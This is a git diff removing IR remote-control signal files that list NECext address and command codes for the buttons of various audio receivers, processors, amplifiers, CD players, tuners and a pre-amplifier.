-# -name: ZONE_2_AUX -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0D 00 00 00 -# -name: ZONE_2_NET -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 13 00 00 00 -# -name: ZONE_3_VOL._UP -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 14 00 00 00 -# -name: ZONE_3_VOL._DOWN -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 15 00 00 00 -# -name: ZONE_3_MUTE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 16 00 00 00 -# -name: ZONE_3_MUTE_ON -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 17 00 00 00 -# -name: ZONE_3_MUTE_OFF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 18 00 00 00 -# -name: ZONE_3_POWER_ON -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 79 00 00 00 -# -name: ZONE_3_POWER_OFF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7A 00 00 00 -# -name: ZONE_2_PWR_ON -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7B 00 00 00 -# -name: ZONE_2_PWR_OFF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir deleted file mode 100644 index ddbb120b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT:_SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: INPUT:_AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: INPUT:_VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: INPUT:_AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: INPUT:_MULTI-CHANNEL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: DIRECT_(TOGGLE) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: POWER_(TOGGLE) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_(TOGGLE) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: MODES_(TOGGLE) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: THX_MODES -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: TRIM_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: LIP_SYNC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: SUB_TRIM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: EFFECTS:_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3F 00 00 00 -# -name: EFFECTS:_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 40 00 00 00 -# -name: EFFECTS:_PARTY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: EFFECTS:_CLUB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: EFFECTS:_HALL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: EFFECTS:_SPORT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 44 00 00 00 -# -name: EFFECTS:_CHURCH -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 45 00 00 00 -# -name: EFFECTS_(TOGGLE) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 48 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4A 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4C 00 00 00 -# -name: DIRECT_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4E 00 00 00 -# -name: DIRECT_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: MONO_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: STEREO_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: DOLBY_PL2_MOVIE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6C 00 00 00 -# -name: DOLBY_PL2_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6D 00 00 00 -# -name: DOLBY_PROLOGIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6E 00 00 00 -# -name: DTS_NEO_6_CINEMA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6F 00 00 00 -# -name: DTS_NEO_6_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 70 00 00 00 -# -name: THX_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 71 00 00 00 -# -name: THX_CINEMA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: THX_ULTRA2_CINEMA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 73 00 00 00 -# -name: THX_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 74 00 00 00 -# -name: THX_SURROUND_EX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 75 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 77 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 78 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir deleted file mode 100644 index 1c5beede9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SELECT_SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: SELECT_AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: SELECT_TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: SELECT_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: SELECT_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: SELECT_VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: SELECT_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: SELECT_AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: SELECT_MULTI-CHANNEL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: DIRECT_ONOFF_TGL_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: SELECT_NET -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: STAND_BY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: TREBLE_CON._MENU_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: CYCLE_ASPECT_RAT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: FOLLOW_ZONE_1_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: STORE_PRE_X_(TUN_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: ROOM_EQ_ON/OFF_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: CYCLE_DECODE_MD_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: SELECT_DVR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: SPEAKER_TRIM_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: BASS_CON._MENU_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 27 00 00 00 -# -name: FAVORITE_UP_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 -# -name: FAVORITE_DOWN_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: HOME_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: BASS_INCREMENT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2C 00 00 00 -# -name: BASS_DECREMENT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2D 00 00 00 -# -name: TREBLE_INCREMENT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2E 00 00 00 -# -name: CYCLE_OUTPUT_RES_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 30 00 00 00 -# -name: RANDOM_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 30 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 31 00 00 00 -# -name: REPEAT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 31 00 00 00 -# -name: LIPSYNC_CONT_MEN_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: SUB_CONTROL_MENU_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 -# -name: SELECT_AM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: SELECT_FM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 36 00 00 00 -# -name: TRACK_FORWARD_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: TRACK_BACKWARD_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: DISPLAY_BRIGHT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: DOLBY_VOL._ON/OF_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: SELECT_SIRIUS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 48 00 00 00 -# -name: DISCRETE_DIR_ON_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4E 00 00 00 -# -name: DISCRETE_DIR_OFF_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4F 00 00 00 -# -name: NAVIGATE_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: NAVIGATE_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: MENU_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: NAVIGATE_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: NAVIGATE_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: ZONE_TOGGLE_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5F 00 00 00 -# -name: TREBLE_DECREMENT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 62 00 00 00 -# -name: LIPSYNC_+_BY_1MS_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 64 00 00 00 -# -name: LIPSYNC_-_BY_1MS_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 65 00 00 00 -# -name: SUB_DECREMENT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 68 00 00 00 -# -name: SUB_INCREMENT_-_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 78 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir deleted file mode 100644 index c92ea7044..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NUMBER_0_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: NUMBER_1_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: NUMBER_1_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: NUMBER_2_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: NUMBER_3_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: NUMBER_4_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: NUMBER_5_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: NUMBER_6_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: NUMBER_7_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: NUMBER_8_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: NUMBER_9_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: PRE/SIRIUS_+_(T)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRE/SIRIUS_-_(T)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: PAGE_DOWN_(TUNE)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: PAGE_UP_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: DELETE_PRESET_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: BAND_(TUNER)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: TUNING_+_RIGHT_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4D 00 00 00 -# -name: TUNING_-_LEFT_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: PRESET_DOWN_(TUN_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 55 00 00 00 -# -name: PRESET_UP_(TUNE)_-_R -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir deleted file mode 100644 index 418880999..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE_2_VOL._UP_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 01 00 00 00 -# -name: ZONE_2_VOL._DOWN_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 02 00 00 00 -# -name: ZONE_2_MUTE_TOG._-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 03 00 00 00 -# -name: ZONE_2_MUTE_ON_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 04 00 00 00 -# -name: ZONE_2_MUTE_OFF_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 05 00 00 00 -# -name: ZONE_2_CD-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 06 00 00 00 -# -name: ZONE_2_DVD_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 07 00 00 00 -# -name: ZONE_2_SAT -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 08 00 00 00 -# -name: ZONE_2_AV_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 09 00 00 00 -# -name: ZONE_2_TAPE_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0A 00 00 00 -# -name: ZONE_2_VCR_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0B 00 00 00 -# -name: ZONE_2_DVR_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0C 00 00 00 -# -name: ZONE_2_AUX_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0D 00 00 00 -# -name: ZONE_2_FM_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0E 00 00 00 -# -name: ZONE_2_AM_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0F 00 00 00 -# -name: ZONE_2_SIRIUS_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 10 00 00 00 -# -name: ZONE_2_NET_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 13 00 00 00 -# -name: ZONE_3_VOL._UP_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 14 00 00 00 -# -name: ZONE_3_VOL._DOWN_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 15 00 00 00 -# -name: ZONE_3_MUTE_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 16 00 00 00 -# -name: ZONE_3_MUTE_ON_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 17 00 00 00 -# -name: ZONE_3_MUTE_OFF_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 18 00 00 00 -# -name: ZONE_3_POWER_ON_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 79 00 00 00 -# -name: ZONE_3_POWER_OFF_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7A 00 00 00 -# -name: ZONE_2_PWR_ON_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7B 00 00 00 -# -name: ZONE_2_PWR_OFF_-_R -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir deleted file mode 100644 index 57c616441..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AMP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: CD_SEARCH_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: TUNER_SEARCH_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: CD_SEARCH_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: TUNER_SEARCH_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: LISTEN_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3C 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3C 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3C 00 00 00 -# -name: LISTEN_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir deleted file mode 100644 index 5596e5633..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: SEACH_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3C 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir deleted file mode 100644 index 2b87daa27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3C 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir deleted file mode 100644 index 8d1e84386..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir +++ /dev/null @@ -1,494 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: DISPLAY_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: DISPLAY_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: POWER_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: CD_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: CD_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: TUNER_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: TUNER_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: VIDEO_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: VIDEO_1_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: VIDEO_1_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: PHONO_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: PHONO_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: AUX_1_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: AUX_1_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: AUX_2_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: AUX_2_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: MONITOR_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: MONITOR_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: GAIN_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: GAIN_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: VOL_UP_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: BAL_L -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BAL_L_B -type: 